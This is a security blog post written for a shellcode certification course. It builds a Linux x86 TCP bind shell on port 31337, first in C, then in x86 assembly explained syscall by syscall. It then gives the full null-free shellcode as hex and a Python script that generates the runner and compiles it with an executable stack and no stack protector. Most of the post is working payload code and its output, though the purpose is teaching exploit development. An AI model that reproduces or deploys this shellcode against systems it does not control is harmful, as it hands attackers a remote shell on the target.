Amonsec

It's all about security.

A simple blog where you can find different things about digital security.

Linux TCP Bind Shell from Scratch with Intel x86 Assembly

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-975
Assignment number: #1
Github repository: https://github.com/amonsec/SLAE/tree/master/assignment-1

 

Introduction

The aim of this post is to create from scratch a Linux TCP bind shell with Intel x86 Assembly instead of using Metasploit. It’s always a good thing to create his own shellcode because:

  • You know what you are using
  • You have a small custom shellcode
  • It’s fun

What you need in order to reproduce the process:

  • A Linux x86 system (Kali Linux in my case) and
  • Your brain (and maybe a cup a coffee or eight).
 

What is a TCP bind shell?

A TCP bind shell is a program that acts like server on a local port, waiting a connection from someone and when someone connect to this local port return a shell. The following C code is an example of a TCP bind shell:

#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {

  int clientfd;
  int sockfd;
  int port = 31337;
  struct sockaddr_in addr;

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = INADDR_ANY;

  bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
  listen(sockfd, 1);
  clientfd = accept(sockfd, NULL, NULL);

  dup2(clientfd, 0);
  dup2(clientfd, 1);
  dup2(clientfd, 2);

  execve("/bin/sh", NULL, NULL);
  return 0;
}

It’s a bit esoteric for you? Let me explain you what this code does. First we create a socket, here called sockfd:

sockfd = socket(AF_INET, SOCK_STREAM, 0);

Then, we initialize our socket in order to bind it later:

addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;

After that, we bind your socket with the desired port, here 31337:

bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));

At this point, we can both listen for an incoming connection and accept the incoming connection. Note, due to the NULL’s we don’t store data:

listen(sockfd, 0);
clientfd = accept(sockfd, NULL, NULL);

All we need to do now is to duplicate our file descriptor for stdin (0), stdout (1) and stderr (2):

dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);

Finally, we can execute the /bin/sh command:

execve("/bin/sh", NULL, NULL);

Let’s compile and see if this code works:

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_compilation.png
linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_nc_connection.png
 

Syscalls & socket functions

A system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on. This may include hardware-related services (for example, accessing a hard disk drive), creation and execution of new processes, and communication with integral kernel services such as process scheduling.

According to the Linux Man page:

The system call is the fundamental interface between an application and the Linux kernel.

So, which syscalls we need to use in order to create our bind shell? This following command can give us the answer and the location where syscalls are referenced:

amonsec@anakin:/$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h |grep -E 'socketcall|dup2|execve' |head -3
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
amonsec@anakin:/$

Note, we can use this awesome website to find syscall, and much more: http://syscalls.kernelgrok.com/ 

Now, we need to find ids of the functions that we want to use with our socket. For that, the Linux NET’s header can help us.

According to the documentation:

NET is an implementation of the SOCKET network access protocol.
This is the master header file for the Linux NET layer, or, in plain English: the networking handling part of the kernel.

To find functions’ ids that we want to use we can use this following command:

amonsec@anakin:~$ cat /usr/include/linux/net.h
[..snip..]
#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */
#define SYS_ACCEPT4     18              /* sys_accept4(2)               */
#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */
#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */
[..snip..]

Moreover, we need few other things such as, the id of the socket type that we want to use:

amonsec@anakin:~$ cat /usr/include/i386-linux-gnu/bits/socket_type.h |grep 'SOCK_STREAM'
  SOCK_STREAM = 1,              /* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
amonsec@anakin:~$

And the id of the protocol family that we are going to use:

amonsec@anakin:~$ cat /usr/include/i386-linux-gnu/bits/socket.h |grep 'PF_INET' |grep -v 6
#define PF_INET            2        /* IP protocol family.  */
#define AF_INET            PF_INET
amonsec@anakin:~$

We have everything we need! Now let’s begin the sorcery!

 

From C to Assembly

Create a socket

In our context, the EBX register contain the id of the socket function that we want to use and here is 1, for the SOCKET function. Moreover, the id of the socket type is 1 (SOCK_STREAM) and the id of the socket that we want to use is 2 (AF_INET).

This following code is used to create our socket:

global _start
section .text
_start:
  ; Create our socket
  ; socket(AF_INET, SOCK_STREAM, 0)
  ;
  xor ebx, ebx           ; zeroed EBX
  mov bl, 0x01           ; #define SYS_SOCKET    1

  xor edx, edx           ; zeroed EDX
  xor ecx, ecx           ; zeroed ECX

  push edx               ; 0
  push ebx               ; SOSCK_STREAM
  push byte 0x02         ; AF_INET = 2
  mov ecx, esp           ; arguments

  xor eax, eax           ; zeroed EAX
  mov al, 0x66           ; #define __NR_socketcall 102
  int 0x80               ; Interrupt
  xchg esi, eax          ; Save addr

Note, after the kernel interrupt handler call (int 0x80) we must store the EAX register because he contains our socket file descriptor and we are going to use it later.

Schema:

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_schema1.png
 

Bind our socket

Now we have a socket and we can bind it. For that, we first need to create our sokcaddr pointer and it looks like this in C:

struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
};

With that and the id of this bind socket function, we are good to go. Note, the port that we want to bind is in big indian format.

; Bind our socket
; addr.sin_family = AF_INET;
; addr.sin_port = htons(port);
; addr.sin_addr.s_addr = INADDR_ANY;
; bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
;
inc ebx                ; #define SYS_BIND        2
push edx               ; INADDR_ANY
push word 0x697A       ; Port in big-indian = 31337
push bx                ; AF_INET
mov ecx, esp           ; ECX = sockaddr point 

push byte 0x10         ; sizeof(addr)
push ecx               ; sockaddr
push esi               ; sockfd
mov ecx, esp           ; arguments
mov al, 0x66           ; #define __NR_socketcall 102
int 0x80               ; Interrupt

Schema:

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_schema2.png
 

Listening

Next step is to say to our socket to listening for an incoming connection.

; Listen
; listen(sockfd, 0);
;
push edx               ; 0
inc ebx                ; EBX = EBX + 1
inc ebx                ; EBX = EBX + 1
push ebx               ; #define SYS_LISTEN      4
push esi               ; sockfd

mov ecx, esp           ; arguments
mov al, 0x66           ; #define __NR_socketcall 102
int 0x80               ; Interrupt

Schema:

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_schema3.png
 

Accept an incoming connection

Ok, we have a socket, we bind it and he listening for an incoming connection, now we can recreate the accept function in order to allow a connection.

; Accept
; accept(sockfd, NULL, NULL)
inc ebx                ; #define SYS_ACCEPT      5

push edx               ; NULL
push edx               ; NULL
push esi               ; sockfd
mov ecx, esp           ; arguments

mov al, 0x66           ; #define __NR_socketcall 102
int 0x80               ; Interrupt
xchg ebx, eax          ; Save clientfd

Schema:

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_schema4.png
 

Duplicate our File Descriptor

We are soon at the end! At this point we need to duplicate three times our file descriptor in order to have STDIN (0) and STDOUT (1) and STDERR (2). For that we have two possibilities, create or loop or not.

The loop version:

; Dup2
  ; dup2(clientfd, 0)
  ; dup2(clientfd, 1)
  ; dup2(clientfd, 2)
  xor ecx, ecx           ; zeroed ECX
dup:
  mov al, 0x3f           ; #define __NR_dup2 63
  int 0x80               ; Interrupt
  inc ecx                ; ECX = ECX + 1
  cmp ecx, 0x3           ; Compare ECX and 3
  jne dup                ; Jump if not equal

The basic version:

xor ecx, ecx           ; zeroed ECX
mov al, 0x3f           ; #define __NR_dup2 63
int 0x80               ; Interrupt

inc ecx                ; ECX = ECX + 1
mov al, 0x3f           ; #define __NR_dup2 63
int 0x80               ; Interrupt

inc ecx                ; ECX = ECX + 1
mov al, 0x3f           ; #define __NR_dup2 63
int 0x80               ; Interrupt

Schema:

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_schema5.png
 

Execute the shell

Our last step! Now we only need to execute a shell, in our case /bin/sh. The structure of the execve function look like this:

int execve(
     const char *filename, 
     char *const argv[],
     char *const envp[]
);

The EBX register need to contain the binary to execute, /bin/sh in our case and ECX and EDX are not use, so, they must be null. Let’s translate this C code into assembler:

; Execve
; execve("/bin/sh", NULL, NULL)
;
push edx               ; Null terminator 
push 0x68732f2f        ; hs//
push 0x6e69622f        ; nib/

mov ebx, esp           ; /bin//sh
mov ecx, edx           ; NULL

mov al, 0x0b           ; #define __NR_execve 11
int 0x80               ; Down :)

Schema:

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_schema6.png

Note, the null-terminator is used to end the string and to be sure to don’t have any other unwanted things in it.

Moreover, we must push words in the stack, thats why we push /bin//sh instead of /bin/sh and because the stack is LIFO, we push it in the opposite way. If you want to create opcode from a string you can use one of my python script here: string2opcode.py

linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_string2opcode.png
 

Assembling pieces

global _start
section .text
_start:
  ; Create our socket
  ; socket(AF_INET, SOCK_STREAM, 0)
  ;
  xor ebx, ebx
  mov bl, 0x01

  xor edx, edx
  xor ecx, ecx

  push edx
  push ebx
  push byte 0x02
  mov ecx, esp

  xor eax, eax
  mov al, 0x66
  int 0x80
  xchg esi, eax

  ; Bind our socket
  ; addr.sin_family = AF_INET;
  ; addr.sin_port = htons(port);
  ; addr.sin_addr.s_addr = INADDR_ANY;
  ; bind(sockfd, (struct sockaddr *) &addr, sizeof(addr));
  ;
  inc ebx
  push edx
  push word 0x697A
  push bx
  mov ecx, esp

  push byte 0x10
  push ecx
  push esi
  mov ecx, esp
  mov al, 0x66
  int 0x80

  ; Listen
  ; listen(sockfd, 0);
  ;
  push edx
  inc ebx
  inc ebx
  push ebx
  push esi

  mov ecx, esp
  mov al, 0x66
  int 0x80

  ; Accept
  ; accept(sockfd, NULL, NULL)
  inc ebx

  push edx
  push edx
  push esi
  mov ecx, esp
  mov al, 0x66
  int 0x80
  xchg ebx, eax

  ; Dup2
  ; dup2(clientfd, 0)
  ; dup2(clientfd, 1)
  ; dup2(clientfd, 2)
  xor ecx, ecx
dup:
  mov al, 0x3f
  int 0x80
  inc ecx
  cmp ecx, 0x3
  jne dup

  ; Execve
  ; execve("/bin/sh", NULL, NULL)
  ;
  push edx
  push 0x68732f2f
  push 0x6e69622f

  mov ebx, esp
  mov ecx, edx

  mov al, 0x0b
  int 0x80

Let’s compile this code and see if it works.

amonsec@anakin:/opt/slae/assignment-1$ nasm -felf32 bind_shell_linux_x86.asm
amonsec@anakin:/opt/slae/assignment-1$ ld -melf_i386 bind_shell_linux_x86.o -o bind
linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_final_nc_connection.png

And it works.

 

Optimization

Now, we want to create a simple python script to create a binary with the desired port.

First, we need to extract the shellcode:

amonsec@anakin:/opt/slae/assignment-1$ objdump -d ./bind |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xdb\xb3\x01\x31\xd2\x31\xc9\x52\x53\x6a\x02\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x96\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xcd\x80\x52\x43\x43\x53\x56\x89\xe1\xb0\x66\xcd\x80\x43\x52\x52\x56\x89\xe1\xb0\x66\xcd\x80\x93\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"
amonsec@anakin:/opt$

With the shellcode (without null byte) let’s begin our python script

#!/usr/bin/env python
import sys
import re
import os

# Colorz
RED = "\x1B[1;31m"
BLU = "\x1B[1;34m"
GRE = "\x1B[1;32m"
RST = "\x1B[0;0;0m"

# Lambda
info_message = lambda x: '{}[*]{} {}'.format(BLU, RST, x)
suce_message = lambda x: '{}[+]{} {}'.format(GRE, RST, x)
erro_message = lambda x: '{}[-]{} {}'.format(RED, RST, x)

# Core
print info_message('Linux x86 TCP bind shell (v1.0)')
print info_message('Author {}Amonsec{}\n'.format(RED, RST))
if len(sys.argv) < 2:
    print info_message('Usage: python {} <local port>'.format(sys.argv[0]))
    sys.exit(0)

port = int(sys.argv[1])
if port < 1 or port > 65535 :
    print erro_message('You\'re drunk. Go home. Go home')
    sys.exit(0)


if len(hex(port).split('x')[1]) < 4:
    port = '0' + hex(port).split('x')[1]
else:
    port = hex(port).split('x')[1]

hexchain = ''
for x in re.findall('..', port):
    if x == '00':
        print erro_message('Null byte detected')
        sys.exit(0)
    hexchain += '\\x' + x

print suce_message('Hexchain port: {}'.format(hexchain))

shellcode = (
"\\x31\\xdb\\xb3\\x01\\x31\\xd2\\x31\\xc9\\x52\\x53\\x6a"
"\\x02\\x89\\xe1\\x31\\xc0\\xb0\\x66\\xcd\\x80\\x96\\x43"
"\\x52\\x66\\x68" + hexchain + 
"\\x66\\x53\\x89\\xe1\\x6a\\x10"
"\\x51\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x52\\x43\\x43"
"\\x53\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x43\\x52\\x52"
"\\x56\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x93\\x31\\xc9\\xb0"
"\\x3f\\xcd\\x80\\x41\\x83\\xf9\\x03\\x75\\xf6\\x52\\x68"
"\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3"
"\\x89\\xd1\\xb0\\x0b\\xcd\\x80")

print suce_message('Your shellcode:\n')
print shellcode.format('hex')
print ''
print info_message('Creating the C file ...')

filename = 'bind_shell_linux_x86.c'
content = ''
content += '#include <stdio.h>\n'
content += '#include <string.h>\n'
content += 'unsigned char shellcode[] = \\ \n'
content += '"' + shellcode + '";\n'
content += 'int main() {\n'
content += 'int (*ret)() = (int(*)())shellcode;\n'
content += 'ret();\n'
content += '}\n'

data = open(filename, 'w')
data.write(content)
data.close()
print suce_message('C file successfully created.')

print info_message('Compiling the C file ...')
try:
    os.system('gcc -fno-stack-protector -z execstack bind_shell_linux_x86.c -o bind_shell_linux_x86')
except Exception:
    print erro_message('Error with the compilation')
    sys.exit(1)
print suce_message('C file successfully compiled.')
print suce_message('You are good to go 1337')
print ''
sys.exit(0)
linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_python_warper.png
linux_tcp_bind_shell_from_scratch_with_intel_x86_assembly_final_nc_connection_for_optimization.png
 
 

break